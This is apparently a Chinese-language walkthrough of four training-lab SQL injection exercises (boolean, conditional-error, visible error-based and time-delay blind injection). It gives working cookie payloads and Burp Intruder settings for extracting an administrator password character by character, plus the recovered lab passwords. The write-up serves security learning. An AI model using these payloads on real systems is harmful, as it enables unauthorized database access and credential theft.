目录
一.Blind SQL injection with conditional responses
二.Blind SQL injection with conditional errors
三.Visible error-based SQL injection
四.Blind SQL injection with time delays and information retrieval
一.Blind SQL injection with conditional responses
原理:布尔盲注
参考 SQL盲注:原理,分类与识别方法(小白也可以看懂!)-CSDN博客
步骤:
1.使用burp suite进行抓包,然后发送到repeater
2.本次实验所检测的部分为cookie字段,可以知道是在Tracking ID进行sql注入,首先判断有无注入漏洞
' AND '1'='1 ← welcome back
' AND '1'='2 ← 没有welcome back,说明存在注入点
3.判断数据库中是否存在users表
' AND (SELECT 'a' FROM users LIMIT 1)='a'--
解释:从users表里查询一条记录,但是返回的是固定字符'a',所以只是将'a'与'a'进行了比较,这当然是成立的,这个代码其实就是为了确认users表存不存在,因为不存在会进行报错,没有welcome back
4.判断users表中有无administrator
' AND (SELECT 'a' FROM users WHERE username='administrator')='a'--
解释:判断'a'='a'总是成立,这里就是为了确认FROM users WHERE username=‘administrator’报不报错,进而确定users表中有无administrator
5.知道了存在用户之后,现在开始猜测口令
1)猜测口令长度
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--
解释:如果administrator对应的口令长度大于1则成立,所以我们要找到它的临界值,确认口令长度,你可以使用二分法手动估测,也可以将它发送给intruder进行自动遍历
首先给需要遍历的部分add一下,这里的口令长度,所以在1这里add
然后payload是从1到30,这是我设定的,你可以自己进行猜测设置
然后点击attack,开始攻击,通过观察包的大小,来判断我们需要的临界值,正确返回和错误返回的包的大小是不同的
观察结果,从20开始包的大小改变,说明口令长度是20(口令大小>20:不正确,说明是20)
2)猜测口令每一位
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--
解释:从users表里找到 username 是administrator的那条记录,取出它的 password 字段,并且取密码的第一个字符,判断是不是'a',本实验中如果正确则返回welcome back,若不正确,则没有welcome back。所以我们需要做的是对每一个字符进行猜测,通过返回值来判断猜测是否正确,下面同样通过intruder模块来进行穷搜
首先,确认注入的部分,分别是"口令的位置"和"猜测的字符",注意attack type要选择cluster bomb(cluster bomb:两个需要注入的地方使用的字典不相同,且每一种对应情况都需要尝试)
然后,在payload里面,第一个payload当然是从1到20,对应着口令的每一位,第二个payload是小写字母和数字中的任意一个字符。
这里payload type选择number,from 1 to 20
这里payload type选择brute forcer,就是小写字母和数字的任意组合,因为本次实验是一位一位判断,所以将min/max length设置为1
全部设置正确之后点击attack开始攻击,消耗的时间较长,需要等待一下,然后将1-20对应的字符连接起来,就是我们所需要的口令了
二.Blind SQL injection with conditional errors
1.首先判断是否存在SQL注入漏洞
添加一个单引号:500 Internal server error
添加两个单引号:200 OK
构造简单的子查询,由于已经提示数据库是oracle,dual:200 OK
尝试查询不存在的表,验证查询执行,name:500 Internal server error
解释:上述结果说明这里存在sql注入漏洞
理由:第一次只加一个单引号,导致语法错误并返回 500 状态码,说明服务器直接把我的输入拼到了 SQL 语句里,而且没有对引号这种特殊字符做有效处理。第二次加两个单引号后,语法恢复正常,服务器也正常返回,进一步验证了输入被直接拼接进了查询。后续通过构造查询发现,服务器根据 SQL 的执行结果返回不同响应,可以推断出注入点确实可以影响底层数据库操作,因此确认存在 SQL 注入。
2.判断是否存在users表
'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
解释:从users表中取一条记录,并返回一个空字符串,ROWNUM=1是为了只取一行,避免多行结果使得SQL错误,通过服务器有没有报错就可以判断users表存不存在,200 OK说明存在users表
3.判断users表中有没有administrator
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
解释:CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END,即如果1=1成立,那么执行 TO_CHAR(1/0),将1除以0,触发错误,否则返回空字符串。
所以整个代码的逻辑:如果users表中存在administrator,就会因为1=1成立而触发除零错误,返回500错误,如果不存在,子查询无结果,进而不触发除零错误。
结果:500 Internal server error 说明存在administrator用户
4.探测administrator的口令(原理与上一个实验相同,语法稍有不同)
1)探测口令长度
'||(SELECT CASE WHEN LENGTH(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
发送到intruder,自动化搜索
结果:口令长度为20
解释:代码逻辑为若口令长度大于x,则进行除零操作,进而报错,一旦条件不成立,则不会报错,所以从20开始状态码为200 OK,表明口令长度>20不成立,说明长度就是20
2)探测口令的每一位
'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
发送到intruder进行自动化搜索,注意将attack type选择为Cluster bomb,且第一个字典为1到20(number),第二个字典为所有数字和小写字母的集合(brute forcer,注意将min/max length设为1)
点击attack开始攻击,这需要等待一段时间,通过状态码判断口令每一位的值,将他们按顺序拼接就可以得到口令了
(这个等待时间实在是太长了,因为他会把1到20的每一位都和数字与字符进行比较,但到了后面其实很多位置对应的字符都已经确定了,所以不用再比较,所以我们可以拍照记录已经得到了字符,然后停止这个攻击,将剩下的位置单独拿出来再次与剩下的字符进行配对,这样会节省一点时间,可以多次重复)
(或者开启多个攻击,第一个攻击是1-10,第二个攻击时11-20,这个我没有尝试过,有更好的方法可以在评论区交流)
得到口令,pr6lha54bhp6v4mre3ml
三.Visible error-based SQL injection
1.初步探测和错误注入:加单引号
结果:500 Internal Server Error,并且显示了完整的SQL查询,确认存在注入点
2.注释修复语法错误:200 OK
说明注入的语句成功执行
3.测试类型转换
错误回显型SQL注入:通过构造非法查询使数据库报错,错误信息会包含部分查询内容或数据,类型转换错误通常会返回转换失败的具体值
' AND CAST((SELECT 1) AS int)--
返回错误:AND是逻辑运算符,必须连接两个布尔表达式,CAST((SELECT 1) AS int)
返回的是整数,不是布尔值
4.构造合法布尔表达式
' AND 1=CAST((SELECT 1) AS int)--
不再报错说明语法正确
5.尝试获取用户名
' AND 1=CAST((SELECT username FROM users) AS int)--
返回错误:由于字符限制,查询被截断,字符串未正确闭合
6.优化payload长度:删除TrackingID值
TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--
错误:返回了多行结果
7.限制返回结果:加上LIMIT 1
TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
错误:返回了administrator不是int类型,说明存在该用户
8.获取管理员密码
' AND 1=CAST((SELECT password from users LIMIT 1) AS int)--
错误:返回口令不是int类型,得到口令"u52aepslm44wlqunl3c5"
9.登录管理员账户,成功
四.Blind SQL injection with time delays and information retrieval
1.首先判断是否存在时间延迟
'%3B SELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END--
解释:首先单引号使前面的字符串封闭,然后%3B是分号的URL编码,后面是基于条件的时间延迟,当满足括号内的条件是进行延迟,不满足时不延迟
1=2:无延迟
1=1:有延迟
确认了有时间延迟,可以进行探测了
2.判断是否存在administrator用户
'%3B SELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
有延迟,确定有该用户
3.探测管理员的口令
1)探测口令长度
'%3B SELECT CASE WHEN (username='administrator' AND LENGTH(password)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
可以发送到intruder进行攻击,注意观察延迟
length>19时有延迟,length>20时没有延迟,所以口令的长度为20
2)探测口令的具体值
'%3B SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
发送到intruder,将口令的每一位和可能的字符串进行配对,若有延时,则为正确口令
payload与之前的实验设置的相同,注意type和min/max length设置正确
这里与其他实验稍微不一样的是,这里由于需要检测delay,所以必须要求单线程执行,所以进入到resource pool,将maximum concurrent requests设置为1。
然后点击attack开始攻击
开始攻击后,打开右上角column里的response received,这样就可以看到时间
可以看到在1对应b时,时间明显是有延迟的
得到口令:b7j61n4phs5nxiuh1v48